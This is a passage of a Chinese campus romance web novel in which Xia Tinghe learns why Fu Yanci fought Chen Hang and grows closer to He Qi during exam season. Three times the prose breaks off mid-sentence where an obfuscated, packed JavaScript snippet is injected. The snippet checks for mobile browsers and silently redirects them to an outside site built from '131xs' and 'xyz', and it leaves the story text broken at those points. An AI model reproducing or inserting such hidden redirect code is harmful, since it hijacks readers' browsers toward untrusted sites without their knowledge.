夏汀禾刚把书和笔记本拿出来，就听到身后有人在讨论。 “付言辞请了一周的假诶。” 手上的动作一顿。 “请假一周啊，回来不是直接考试了吗？” “该不会是昨天打架受伤了去住院了吧？” “应该没吧，陈航好像伤得更严重一点。他没什么事。” “还好还好，只是两次被通报批评，再来一次，他就要被留校观察了。真没想到付言辞这么有种。” …… 几乎没有思考，夏汀禾第一时间就点进了学校官网，找到学院公告那一栏查看。 和同学说的一样。 他因为打架被通报批评了，第二次被记过处分。 明明中午还和她一起在食堂吃饭，为什么下午就出事了？ 公告上并没有写明具体的原因，夏汀禾想找人问清楚，但准备开口时，又忽地想起他们昨天的对话。 他们的关系已经这样，就算知道了，似乎也没什么用。 夏汀禾没再问，但之后的几天，还是慢慢从同学的口中推测出了缘由。 付言辞是为了喜欢的人打架。 和之前一样。 然而夏汀禾听到后的心境却和上次完全不同了。 因为知道他喜欢的人是自己。 某次在路上碰到了林越，夏汀禾忍不住叫住了他问付言辞的情况。 林越抓了抓头发，笑着和她说：“没事，他没受伤，请假了是因为家里有事。打架也不全是因为你，也有他自己的原因。” “你放心吧，下周一他就回学校了，别想太多了。” 夏汀禾道了谢。 林越回去之后，立刻就把消息打电话告诉了付言辞。 “按你交代的和她说了，你下周一可得出现啊，别搞得我在别人面前不守信用了。” 付言辞回了他一句：“谢谢。” 林越不满：“你声音怎么听着还这么虚弱，你在吃药吧？” 付言辞：“家里有客人来了，晚上再聊。” 没等林越骂人，付言辞已经挂断了电话。 不过他也没骗林越，家里确实来客人了，是他的高中班主任。 付母和班主任在买菜的路上碰到的，班主任听说付言辞生病了在家躺着，便想着来看看。 一进门，看到付言辞，班主任立即就过来问：“言辞，听你妈妈说你生病了，现在还好吗？” “嗯，没事了，谢谢老师关心。”付言辞给老师倒了茶水端过去。 “那就好，那就好。”班主任道着谢接了过来，又说：“之前在天文馆见面太匆忙了，想聊天都没机会。今天正巧碰到了你妈妈，就顺路过来看你一眼，也是打扰了。” 付母切了水果放在了桌上，笑着回应：“没有的事。以前言辞读高中，也是多感谢您的照顾。” 班主任摆了摆手，放松地和付言辞聊起最近学校的状况，说是这一届的成绩比不上他们，每次考试看到分数都让她差点睡不着觉。 “还是你们省心，尤其是你和汀禾。我们班的物理好苗子。” 看儿子不自在，付母起身去了厨房准备午饭。 说到夏汀禾，班主任又忍不住往下说：“那孩子也和你一样，聪明又心思细腻，很难不让人喜欢。记得之前你在公交车上碰到我的那次吗？就你拿着很多编织物的那次。” 她稍微一提醒，付言辞就想了起来。 那是高二的一个暑假，付言辞一家都去了乡下的外婆家。付母和外婆用家里传下来的手艺，用竹子编了许多竹篮、背篓还有玩具之类的东西，付言辞则负责每天拿着去城里卖。 他每天四五点起来，转三趟公交车就可以从乡下抵达市内。暑假一个多月，烈日炎炎，从未间断过。 在某天的最后一趟转班公交车上，被人不小心撞了一下，东西都从包里倒了出来。 怕被人踩到，付言辞立即弯腰去捡。 这时候有人走过来帮忙，弯腰一一拾起。 就是班主任。 付言辞始终记得。 公交车上很多同乡镇的熟人，大多数是叔叔阿姨那一辈的，看他一个人来，都忍不住说上一两句。 “哎呀，言辞真是懂事啊。放假了也知道帮家里做事，我家里的大少爷是从来不知道帮忙的。” “你这话说的。你家里的条件有几个人能比得上，要不是家里没个男人赚钱，谁会舍得让小孩大热天的出来。” “唉，你外婆和妈妈也是可怜啊，现在还住着几十年前的房子。我说，要不回去劝劝你妈妈，改嫁算了。” …… 说什么的都有，付言辞也习惯了，几乎不会把这些放在眼里。 但当看到班主任之后，付言辞立即感觉到窘迫不已。 那时候班里的同学没什么穷富差别的概念，对彼此家庭的印象都是普通水平。付言辞从没和其他人提及，同学自然也这么以为他。 他害怕老师会露出同情的眼神。 然而并没有。 班主任帮他捡了落在地上的东西，主动坐在他身边，和他聊了一路的天。无关其他的，只是和他像平常一样讲话。 付言辞因此一直很感激。 在他还沉浸在回忆之中时，班主任突然说了句：“其实那天还有人也在车上。” 回过神来，串起班主任之前的话，突然猜到了什么，付言辞忽地感觉到心跳近乎停止。 “是汀禾告诉我你在车尾、需要帮忙的。” 一锤定音。 心里突然有什么被撕裂了一般，付言辞一刹那几乎说不出话来。 班主任没注意他的神情，继续娓娓道来：“我刚开始还想，这孩子是和你关系不好吗？怎么看见了反而告诉了我去帮忙？后来才想明白，应该是怕你觉得被同学看到了会窘迫，才这么做。” “我当时都没想到这点。你们都是青春期的孩子，在很多的事情上都敏感，这很正常。长大了才慢慢会发现，其实原本在意的那些也并不是很重要。但总得有这么一个过程……” 耳边的话已经逐渐模糊起来。 付言辞只感觉到自己的眼眶开始变得湿润。 原来她早就知道了。 原来她一直知道。 - 周一上课，夏汀禾早早赶到了教室找到位置坐下，她边看着书边时不时瞥两眼从门口进来的人。 只是和她预料的不同，付言辞还是没来上课。 尽管林越已经告诉她付言辞是因为家里的事请假，但夏汀禾依旧会觉得有自己的一部分原因，会觉得愧疚。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009964|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这和喜不喜欢付言辞无关。 白天一整天付言辞都没出现，到了晚上的课题组开会，夏汀禾也没抱什么希望了。 她抱着笔记本踏上阶梯，脑子里还在想着待会儿开会时的发言。 正专注着，背后这时传来声音 ——“言辞你回来了啊，我还以为今晚上的会你也不参加了呢。” 停滞了一两秒，夏汀禾回头一看。 付言辞正和谢临朝着这栋教学楼走来。 他脸上是带着笑的。很轻松自然的笑容。 整个人都仿佛变得柔和起来。 看见了她，谢临又举高了手叫了一声：“汀禾师妹！” 付言辞同一时刻看了过来。 他们俩对视着，夏汀禾好像在他眼里看到了以往没有的东西——那种青春坚定的少年气。 夏汀禾很庆幸没在他身上看到什么伤。 终于松了口气。 进了办公室，他们俩加上简辰三个本科生坐在了一块儿。 夏汀禾也挺意外简辰会主动和她打招呼。 “晚上好。” 尽管语气依旧是淡淡的，但夏汀禾还是礼貌地回了一句同样的。 正式开会，照例观摩师兄师姐的汇报，夏汀禾飞速地做笔记。 在她递交了好几次论文选题后，明教授最后给她推荐的是光学方向。这一方面她了解的不算多，于是一看到师兄师姐有相关的研究经验，便兴奋不已。 听完后到自由提问的环节，夏汀禾又举手向教授问了好几个疑惑的地方。 一场会议下来，收获颇多。 不知不觉中过完了两个小时，结束时，夏汀禾才感觉到因为接收的信息过多，头有点疼。 “行了，时候不早了，大家都回去休息吧。” 教授一句话催促着学生回去，夏汀禾收拾东西往外走。 正揉着太阳穴，身后有人叫住了她。 夏汀禾一愣，停了下来。 付言辞跟在了她旁边，温声道：“上次老师不是说让我给你讲一下理论？现在给你讲？” 这个举动来得有些突然，夏汀禾还没反应过来，嘴上已经答应了：“哦，好。” 两个人一起在长廊里走着，付言辞和以前给她讲题那样，讲着课题里的理论。他还是分析得那样细致、认真，核心思路和举例都说得清楚透彻。 他问“听懂了没”那一瞬间，夏汀禾感觉到好像回到了高中。 只不过以前是她腼腆地跟着人群凑上去问，现在是付言辞主动和她说的。 她没了之前的少女心思，付言辞也只把她当成了朋友。 所有的疑惑在这时候解开，夏汀禾朝他笑了笑：“嗯，已经清楚了，谢谢。” 付言辞也笑了下：“以后有不懂的再问我也没事。” 他这一周经历了什么夏汀禾无从得知，不过看到他的状态比以前更好了，夏汀禾也感到高兴。 出了教学楼，夏汀禾打算直接回宿舍休息。 回去的有两条路，正准备往近的那条道走，付言辞又一次叫住了她：“夏汀禾。” “嗯？”夏汀禾侧过脸去看他。 付言辞往她身后看了眼，突然弯腰往她面前凑了下：“能帮我看一下我脸上是不是有东西么？刚好像被笔画了下，我不确定。” 夏汀禾仔细看了眼，指了指他的下巴：“这里好像有一横。” “好，谢谢。”付言辞站直了身，和她道了别离开了。 这么一个小插曲，夏汀禾也没放在心上。 直到等他走后，夏汀禾转身，发现了有人在不远处站着。 脚步一顿。 是贺祁。 贺祁穿了件黑色连帽卫衣，底下是简单的牛仔裤。身高腿长的，穿什么都搭。 他怕冷，所以把卫衣帽子也戴上了。本来就脸小皮肤白，被宽大的帽檐一遮挡，更加凸显出五官的优越。 只是贺祁是垂着眼眸看向她的，眼神比之前还要冷淡。 走近了些，夏汀禾才发现他手里还提了奶茶。是她说过喜欢的他们学校的那家。 上周分开之后，他们俩之间的联系变得少了些。 虽然还是会想平常那样说点有的没的，但彼此之间似乎总是有着隔阂，不像之前那样聊得开心。 尤其是校园跑已经完成了后，夏汀禾给她发消息说以后晚上不用过来了。 所以…… 今天他是特意来找她的吗？ 夏汀禾抱着书本，几步路走到了他面前，小声问：“……你怎么过来了？” 贺祁没回答她，直接道：“所以呢？你又答应他了？” 他语气清冷得没有一点期待。 “没有！”知道他可能是误会了，夏汀禾迅速解释。 “他刚刚就是让我帮忙看一下脸上有没有东西，不是故意的。” 贺祁笑了下，若有所思地重复了一遍她的话：“不是故意的？” 他尾音拉长，和以前一样懒洋洋的。 在夏汀禾以为应该没什么事了，贺祁却突然冷下脸来，猛地朝她靠近。 “那我这样呢？是不是也可以说不是故意的？” 他只手捧起夏汀禾的脸，让她只看着自己。 他们鼻尖相抵，嘴唇几乎要碰上。 夏汀禾感觉到他卫衣上的抽绳轻轻拂过了自己的脖颈。 她手上的书落了一地。 70. 烤冷面 贺祁凑过来的那一瞬间，呼吸像是交缠般的扫过夏汀禾，让她所有的注意力都集中在他眼里。 第一次这么近距离地对视着，夏汀禾甚至可以清晰地感觉到贺祁脸上的温度。 兴许是在外面站久了，他的脸有些冰凉。 贺祁以前从来没有这样对待过她。 他虽然喜欢逗她，但向来是有分寸的。 夏汀禾被他的动作弄得怔愣了片刻。半响后，才反应过来推开了他，弯腰把地上的书捡起。 收拾好后，夏汀禾皱着眉问他：“你为什么总是因为我和付言辞之间的事生气？” 想了想，她抿了下唇，又加了一句：“我不是都说了，我拒绝了吗？我已经不喜欢他了。” 从被推开后，贺祁就站在了原地，面无表情地看了她许久。 他心里想着果然是还对付言辞有感情，才会这么果断地推开他吧？ 以至于夏汀禾开口说的那句，他都理所当然地以为是在帮付言辞说话。直到听到最后 ——我已经不喜欢他了。 贺祁一刹那回过神来。 “你不喜欢他了？” 贺祁一直执着于这件事，夏汀禾只好又和他肯定了一遍：“嗯。” 他脸上冷淡的神情开始有了松动，似乎是突然间意识到了自己刚刚的做法有点太过了，瞬间恢复了正常，眼神都变温柔了不少。 感觉出来他的变化，夏汀禾这时候放缓了语气，低声说：“你刚刚那样，让我有点不习惯。” 她的声音本就是偏温软乖巧的，一放低了，就会含着点委屈的意味。 贺祁没说话。 以前没有人能够让他情绪失控，所以他在所有人面前都能保持那样随心所欲的状态。那样好脾气地、游刃有余地对待周围的一切。 然而夏汀禾不同。 她总能轻而易举地牵动起他心底里长年累月压抑克制住的东西，比如偏执，比如占有欲。 尤其是在知道了她以前所有的喜欢都给了另外一个人后。 收敛了眼底的淡漠，贺祁抬眸看向她，说：“抱歉。以后不会了，行么？” 夏汀禾点了点头。 她并不是很想谈论这个，刚刚贺祁给她的感觉就像是变了个人。 她指了下贺祁手中的奶茶，错开了话题：“是给我的吗？” “嗯。”贺祁扬了下嘴角，把奶茶递给了夏汀禾：“他们家的新品，挺好喝的。” 看到他手背上被冷风吹着冻得青筋都显现出来，夏汀禾一时间心里不是滋味儿。 他到底在这里等了多久？ A市的初冬温度已经明显降低了不少，夏汀禾已经换上了棉服，贺祁还只穿了件卫衣。 一着急，她直接指着他的领口，问了出来：“你里面还穿了衣服吗？” 问完后才反应过来这话有点奇怪的。 不过为时已晚，贺祁十分灿烂地笑了下，垂着眼眸，就那样暧昧不清似的、慢悠悠地和她说：“昂，穿了件长袖。” 弄得她好像是以某种特别亲密的身份在询问他一样。 “卫衣是加绒的。”他又补充了句，继续笑着问她：“还有什么想知道的么？” 他还打算张口说点什么，夏汀禾已经伸手过去捂他的嘴：“什么都没有！” 只是被贺祁提醒着注意点别摔到后，她才松开。 贺祁看着她，脸上还带着笑的，十分纯良道：“为什么不准说？奶茶要冷了，得快点喝。这个也不许了？” 明明想说的就不是这个。 夏汀禾不和他争辩了。 不过到底还是担心他冷，把他带到了旁边的超市里躲风。 马上期末周了，备考期间晚上从图书馆回来夏汀禾很容易饿，但是那时候超市一般都关门了，所以索性现在多买点放宿舍。 她在超市里边喝着奶茶边挑选着，看着琳琅满目的美食，感觉肚子已经开始饿了。 必须要找点主食来吃吃。 超市对面就有卖烤冷面的小店，夏汀禾是他们家的常客。她抬头望那一看，店主还在出摊。 夏汀禾回过头看向贺祁，眼睛亮晶晶的：“你想吃烤冷面吗？” 小时候因为饮食不规律早就被搞坏了胃，贺祁对一切吃的都没什么兴趣，不过每次和夏汀禾待在一块儿，食欲似乎就会变得好些。 夏汀禾用心地推荐：“他们家的我觉得比外面的都要好吃。” 看她这么喜欢，贺祁点头答应了。夏汀禾很快跑到对面去买了两份回来。 两个人坐在超市门口的长椅上吃完了。 烤冷面的味道确实不错，只是贺祁还是高估了自己，到了后面几口，他其实有些难以下咽了。 不过是夏汀禾买给他的，所以到底还是舍不得浪费。索性吃完后直接去超市买了水，喝了大半瓶，压下去了那点不适应的感觉。 烤冷面是现做的，用纸盒子装着拿过来时都是冒着热气的，夏汀禾享受完后，满足得不行。 等贺祁买完水回来，夏汀禾主动问他说：“你们是不是也快要期末考试了？” “嗯。”贺祁应了一声。 夏汀禾：“要考几科？” 贺祁：“九科吧。” 和他们差不多。 夏汀禾于是跟他道：“那你应该也会很忙吧？” 似乎是猜到了她要说什么，贺祁看了她一眼，轻松道：“还好。” 夏汀禾：“如果很忙的话，你不来找我也没事的。” 贺祁快速回了她：“这个也不耽误。” 对话忽地停止。 两个人坐在树下，双手都撑在木椅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017470|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上，侧过脸来看着彼此，目光灼灼。 在贺祁琢磨着夏汀禾话里的意思时，她的声音忽地再次响起： “但是你每次一过来找我，我就……” 夏汀禾低下了头，感觉到脸颊有些发烫：“我就会忍不住地想和你多待一会儿。” 停滞了许久，贺祁才听懂了她在说什么。 夏汀禾说的是事实。贺祁总能给她一种轻松愉悦的氛围，她容易敏感内耗，总是会贪恋这样的感觉以及…… 能提供这种感觉的人。 “我上学期考得还可以，可能大部分是因为运气。不过这个学期应该就不会这么幸运了。” 再加上还要把投期刊的论文的具体框架交给明教授看，她接下来的时间里会更加忙。 她话只说了一半，贺祁已经清楚了她的意思。 只是被那句“想和你多待一会儿”击中后，他一时半会儿也想不起了自己原本要问什么，最终只缩成了一连串的“好”作为回应。 等到了分别时，贺祁才慢慢缓过劲来。 夏汀禾这时又和他说：“……你的手，给我看看。” 看到她脸红，贺祁总忍不住挑逗，笑着问：“做什么？要牵手么？” “才不是。”夏汀禾气鼓鼓地看了他一眼。 不知道她要干嘛，但贺祁还是听她的把手从兜里伸了出来。 夏汀禾弯下了腰，借着路灯仔细分辨了下。确认没问题了，才道：“你不是怕冷么？以后别在室外等我了。” 贺祁瞬时明白过来她刚才在做什么。 他没能说出话来，夏汀禾又看了看时间，催促着他快点开车回家。 - 十一点，夏汀禾制定完了期末周的复习计划。拍了拍困倦的脸，熄了灯，爬上床打算睡觉。 刚铺好被子，手机就收到了贺祁发过来的消息。 贺祁：【睡了？】 夏汀禾坐在床上回答：【有点困了，正准备睡】 发完之后，对面却停了许久都没有给回复。 夏汀禾等的有些撑不住了，只好直接问：【怎么了吗？】 贺祁回了她：【为什么说会忍不住地想和我多待一会儿？】 什么呀…… 怎么又开始问这个了。 耳朵有点热，夏汀禾不好意思地反问他：【之前不是都说了吗？】 贺祁：【有点忘了】 夏汀禾一鼓作气地写了个标准答案：【因为觉得很高兴、很舒服……就是你在我身边的时候。】 又隔了片刻，贺祁才回她：【噢，知道了。睡觉吧，晚安】 总算是回复完了，夏汀禾也给他回了一句：【晚安】 盖上被子后，夏汀禾拿手机调闹钟，屏幕上忽地再次弹出一条消息。 贺祁：【我也是】 71. 想念 和夏汀禾分开后，贺祁又在长椅上坐了一会儿。 他仔细地回忆着那些话，从字里行间里去寻味，想再听一遍，所以才又发消息给了夏汀禾问。 再次得到了肯定的回应，贺祁这才心情颇好地收起手机，走出了校门。 只是刚迈步去车旁边，就发现有人在等着他。 他和付言辞碰见过好几次了，不过真要算起来，两个人似乎还没有真正地说上过话。 尽管如此，但到了今天，贺祁对他已经几乎是完全排斥了。 “有事？”他的目光浅浅地扫过去，与此同时丢出一句冷淡的话。 付言辞几步路朝他走了过来，迎上他的视线。 “你对汀禾，是认真的吗？” 这么亲昵的叫法，让贺祁很不舒服。他抬眸看向付言辞，薄唇微动：“和你有关系？” 听到他这句话，付言辞脸上依旧没什么变化。他只继续道：“我不了解你是什么样的人，但汀禾她很单纯，也没谈过恋爱。如果你是想养鱼或者搞暧昧，那我希望你能离她远点。” 贺祁笑了下，十分耐着性子地问：“你和夏汀禾很熟？她知道有你这么一个同班同学爱管别人的事么？” 付言辞怎么会听不出来他话里的含义，偏偏他也最不喜贺祁这种时刻都游刃有余的态度。 他反唇相讥：“你不也没被答应吗？要不然，怎么会看到我稍微做点什么就控制不住了？” 贺祁早就猜到了他是故意的，只是当时的情境下，他确实没能收敛住。 付言辞继续道：“不过我现在和你说这些，并不是代表我要和你抢她。她已经拒绝我了，我不会再给她带来困扰。” “我是想让你明白，就算不选我，你也不一定是她的选择。喜欢她的人有很多，只是可能你比较幸运，能让她多看两眼。所以别太把自己当回事。” “谢谢提醒。”贺祁笑了笑，“不过现在看来，应该是你有点把自己当回事了。” “她会怎么对我、答不答应我，都应该和你无关？” 付言辞：“但你在她面前，展示的是完全真实的你吗？她喜欢的只是你伪装出来的脾气好、性格好的那一面吧。” 贺祁看着他，眼眸里的神色变化了些。 他的语气彻底冷了下来：“那你呢？这么喜欢装好人么？惹出来的事拖了一学期也不敢告诉她原委？是不想让她知道，还是为了维护你自己的形象？” 付言辞没想到他连陈航那边的事也知道了。 贺祁没再和他多费口舌。 “不管她喜欢的是我哪一面，但只她要喜欢，我就会一直这么做。” 他歪了下头，拖长了尾音，居高临下地笑着道： “不过你的话，好像哪一面她都不喜欢了。” - 第二天夏汀禾刚睁开眼，还躺在床上，就被黎穗的惊呼声给弄得彻底清醒。 “穗穗，怎么了？”三个人纷纷掀开床帘去看。 黎穗不好意思地笑了笑：“没事没事，吃瓜有些上头了。” “你们快去看校园墙，我把链接发群里了！这个人不就是那什么陈航吗？汀妹认识的。” 听到这个名字，夏汀禾也没打算点进去看。 一是她和陈航本来也不算熟，二是自从她被挂过一次校园墙后，就更加对这东西没什么兴趣了。后来有次饭卡掉了，她也懒得在上面问，直接选择办了一张新的。 直到其他三个室友都喊她看看：“汀妹，下面评论有和你相关的，我截图了。” 和她有关？ 之前的记忆再次翻涌上来，夏汀禾有些不安起来。 黎穗又解释了一句：“不是说你的。是有人在替你说话。” 夏汀禾这才疑惑地点进去看。 【挂一个人，物院应用物理专业1班的陈航。没钱还要装大款，想装富二代和我妹谈恋爱，结果约人出去看电影、坐地铁的钱都想讨回来。我妹过生日可以装作有事忘记了，自己过生日要求送名牌鞋名牌包，还要打扮漂亮给他看，不给反手就是pua。去周围问了一圈才知道，原来你还有个上市公司的爹啊？哪家公司，该不会是早就倒闭了吧？钱是没有的，脸是要打肿充胖子的，整天吹嘘自己有什么牛逼爸妈亲戚同学，要不看看你自己几斤几两？下次再敢对我妹指手画脚，不，下次再出现在她面前，我见你一次打一次，滚（好像不让说脏话？不能说的话就拜托墙墙删掉最后一个字，谢谢）】 文字说完后，还附上了几张图当作证据。全部都是陈航对女生的各种要求和pua话术。 底下的评论也是疯狂地在增加。 【所以是捞男加普信男？】 【对女生指手画脚的伪男，滚】 【我靠，早就发现他这人挺装的了，整天吹家里有钱，但也没见过他上市公司的爹开迈巴赫还是劳斯莱斯来接啊】 【哈哈哈哈，其实人多的时候他还是会装一下的，上次团建聚餐他从我这里借了一千块去结账，说是银行卡被他爸妈没收了暂时没钱，下次还我】 【还有这人真的挺恶心的，到处造谣物院的一个女生，好像是叫xth吧，说人家对他有意思，还说女生和很多男生关系暧昧。我从我男朋友那听到的。但我看人家女生根本都没怎么搭理他吧？总之造女生黄谣的都给我滚】 【姐妹我也有了解过！付言辞好像就是因为这件事打的他】 【这么看来，付言辞人还蛮好的。还是说，他该不会喜欢那个女生吧？[乖巧等待回复.jpg]顺便再吃一个瓜】 …… 夏汀禾完全没有想过会是这么一回事。 现在回忆起之前的桩桩件件，才发现不对的地方。陈航一开始接近她的举动就很怪异，后续对她的示好也尤其让人感到别扭。 只是她自己不习惯把人往坏处去想，一直以为他是单纯地想交朋友。 至于为什么要这么对她，夏汀禾也大概能猜出来是付言辞那边的原因了——他很久之前就知道了付言辞喜欢自己，所以才会从她这里下手。 那么是不是最开始的帖子也和陈航有关系？那付言辞会不会当时也早就知道了？ “什么垃圾男，我的天，亏我之前还夸他长得还行。” “滚滚滚。” 宁苒和黎穗已经恨不得把陈航拉到面前来揍一顿了。 应忱还保持着理智，这时候小心翼翼地问了一句夏汀禾：“汀妹，你没有听过那些谣言吧？” “没有。”夏汀禾摇了摇头，想来陈航也只是在他的圈子里说，所以自己一直都不知道。 只是。 夏汀禾突然想起简辰。 难怪了。 她一瞬间想明白了。 难怪简辰之前一直对她态度不好，偏偏付言辞打了陈航之后，他的态度就开始有了转变。 宁苒更加气愤了些：“要是真有人信这些造谣，那脑子也可以拿去切了。” 不想室友再生气了，夏汀禾没把简辰的事和她们说。 黎穗安慰她说：“汀妹，你不要放在心上啊。” “不会的。”夏汀禾温吞地回了一句，很快换了衣服从床上下来。 看她确实没受什么影响，黎穗放心了些，又问：“今天不是一整天都没课吗？汀妹你还这么早就下去啦？” “嗯，不是快要考试了吗？我想去图书馆复习，你们要一起去吗？” “考试？！”黎穗大喊了一声，“差点搞忘了。” 她也利索地收拾起来：“呜呜呜，汀妹我和你一起去。这次我真的不能再懒了。” “带我一个带我一个。”宁苒也飞速地下了床。 最后宿舍四个人一起背着书包出的门，一路上猜测着各大专业课会考的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022994|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内容，押题押得起劲了，很快就把早上看到的消息抛掷脑后了。 - 一整天几乎都在图书馆里度过。到了晚上走回宿舍时，夏汀禾在路上碰到了付言辞。 他是从教学楼里出来的，兴许是图书馆满座了，随便找了个教室自习。 看付言辞找她有事，室友十分有分寸地先回去了。 因为知道夏汀禾已经拒绝了付言辞，所以走之前，她们也没忘帮夏汀禾找个到时候开脱的借口：“汀妹我们等你回来玩大富翁哦。” 等人都离开了，付言辞这才走到夏汀禾面前。 他脸上少见地露出愧疚的神色，问：“你应该都知道了？” 早就清楚他的性格，夏汀禾也能猜到他想说什么。 “嗯。” 付言辞看着她，又低下了头：“抱歉，之前没告诉你。” 夏汀禾能理解他当时的做法，只是仍旧有些不太能接受，于是也没说话，只轻轻地应了一声。 片刻后，想了想，还是对他说了：“没关系。” 知道他们之间也没有太多私事可以聊的了，沉默了会儿，付言辞告诉了她： “今早上的事，应该是贺祁做的。他去找了女生的哥哥，告诉了他陈航是谁还有骗他妹妹这些。” 早上付言辞看到这条消息时，就想到了是贺祁，后来去问了人，也证实了这点。 以其人之道还治其人之身，是贺祁的做法。 从昨晚上他们的谈话里，付言辞就知道他也是不会让夏汀禾白受委屈的人。 只是这些，他自然不会再进一步告诉夏汀禾了。 尤其是在夏汀禾听到贺祁的名字后，立即抬头看向了他，付言辞就更加不会多说了。 “他做的吗？”夏汀禾不可置信问。 付言辞不情愿地回答：“应该吧。” 不想再透露更多，他说完就直接道“有事”先走了。 - 比夏汀禾主动去问更快，贺祁先给她打了电话。 走在路上，她把笔记本挪到了左手，腾出了右手去接。 他的声音慢慢传入耳中。 “准备回宿舍了？” 还是那样漫不经心、带着点笑意的。 不知道是因为刚才从付言辞口中得知的消息，还是别的什么，夏汀禾这时候听到他说话，心底莫名涌出一股眷恋。 就是……好像有点想他了。 听筒贴着耳侧，夏汀禾轻轻地“嗯”了一声，又放软了声音问他：“你呢？” 贺祁十分轻松地回她：“刚考完试出考场。” 刚考完试，还给她打电话…… 脸颊开始有些发热，夏汀禾用手背贴了贴脸降温。 不对。 夏汀禾转念一想。 他今天要考试，结果昨天还在自己的学校里待到了九十点才回去，晚上十一点还发消息问她一些有的没的。 这人到底有没有把考试当回事啊。 “你今天考试，那昨晚上还来找我？”夏汀禾有些埋怨地说。 “昂。”贺祁坦荡地说：“这样考试不容易困。” 听懂了他的意思，脸一时间更红了些，夏汀禾嘟囔了一句：“……什么呀。” 贺祁在那边笑得更欢快了。 他又问她：“买了回家的机票了么？” 还有差不多两周放假，机票也要提前开始买了。 夏汀禾：“还没呢，我打算过几天再买。” “噢。”贺祁应了一声，“那到时候把你坐的航班发我。” 夏汀禾：“你要干嘛？” 贺祁：“和你一趟。” 夏汀禾：“你家不就在市内吗？” 贺祁无奈地啧了一声：“行，骗不过你了。” “那我直说了。” “想和你多待会儿。” 72. 介意 听到这句话，夏汀禾愣了愣。 她慢慢感觉出来，好像不知道从什么时候起，贺祁对她开始有了变化，尤其是在确认了几次自己不喜欢付言辞了之后。 不是一星半点，而是浓烈的，她能确切地看到的变化。 和很久之前她第一次叫住贺祁时对比鲜明。 尽管他那时候也很随和，愿意配合她一起到处去玩，但更多的是出于一种看乐子的心态。 现在，他直视的目光、不知有意还是无意的话、下意识的肢体接触有时候让夏汀禾都没办法不心跳加速。 贺祁…… 是不是也早就喜欢她了？ 夏汀禾被自己的想法弄得有些混乱，她紧张无措地对着电话那头道：“……不和你说了。” 贺祁似乎早就习惯了，耐着性子哄人似的问她：“和你一起回家也不行？那等你考完试我过来找你？” “不是。”她不是这个意思。 贺祁温柔地问她：“嗯？” 他的呼吸似乎就在耳侧，夏汀禾平息了一会儿自己的心绪，才温声和他说：“……那你到时候不是又要坐航班回来吗？” 清楚了原因，贺祁笑了下，轻松地回她说：“你担心这个？我寒假要回老家一趟，正好可以坐到你家那边，从机场再换乘过去。” “不是就为了陪你买一趟机票，别担心。而且再说了，就算去你那边，也可以再多待会儿。” “还是说。”贺祁顿了顿：“你不想见我？” 他语气瞬间低落了些，夏汀禾迅速解释：“没说不想。” 贺祁：“噢，知道了。” 贺祁低低地笑了一声：“你也想我了？” 夏汀禾知道自己又被他套话了，不想再搭理他了，直接挂了电话。 - 断断续续地考了两周的试，最后一场考试结束时，夏汀禾和往常一样跟着人群走出考场。 连着几天都是阴天，考场里温度低，她早就习惯了写一下题目停一下来暖手，但今天在后半场考试时，天空突然放晴了。 冬日里的晴天，阳光总是格外温暖的，特别是当光落在了她指尖上的时候。 夏汀禾提前提交了考卷。 出来时，她从窗外看向教学楼，浅金色的阳光倾斜地洒落在各个角落，身后的这一片区似乎被渲染出了朦胧的光晕，格外梦幻。 很像很久之前她在高中教室里做着那道物理题，看着插图远望窗外，幻想着大学生活的场景。 但这次她已经在大学里了，心里也踏实了许多。 夏汀禾走到校车停车点等室友一起去庆祝考试结束。她打开关机的手机，先跳出来的却是蔺澈的消息。 【汀禾，你是今天最后一场考试是吧？考完了吗？我正好过来你们学校这边了，出来和哥哥一起吃个饭？】 蔺澈经常趁着双休的时候到处旅游，他会来A市夏汀禾也没感到奇怪。 夏汀禾：【好，那我和室友说一声】 她答应了下来，给室友发了消息后，又回了宿舍把书包放下，这才赶去了校外。 过去的途中，蔺澈突然想起来告诉她一件重要的事。 蔺澈：【哦，对了，不止我，还有别人】 夏汀禾：【舅舅舅妈？】 蔺澈：【不是】 在夏汀禾想着可能会是谁时，蔺澈已经给了回复：【我女朋友】 蔺澈今年二十三了，照理说这个年纪也不着急结婚，但因为他从来没谈过恋爱，对感情这方面也没表露出什么兴趣，舅舅舅妈急得不行，怀疑他肯定是脑子出了问题，所以蔺澈一出去工作就开始被家里催着交女朋友。 不过他本人就是嫌麻烦的性子，舅舅舅妈再催也没用。后来催烦了，两人也随他去了，只是每次提到这件事的时候，都会叫他麻利地滚出家门。 所以现在陡然得知这个消息，夏汀禾都盯着看了好几遍。 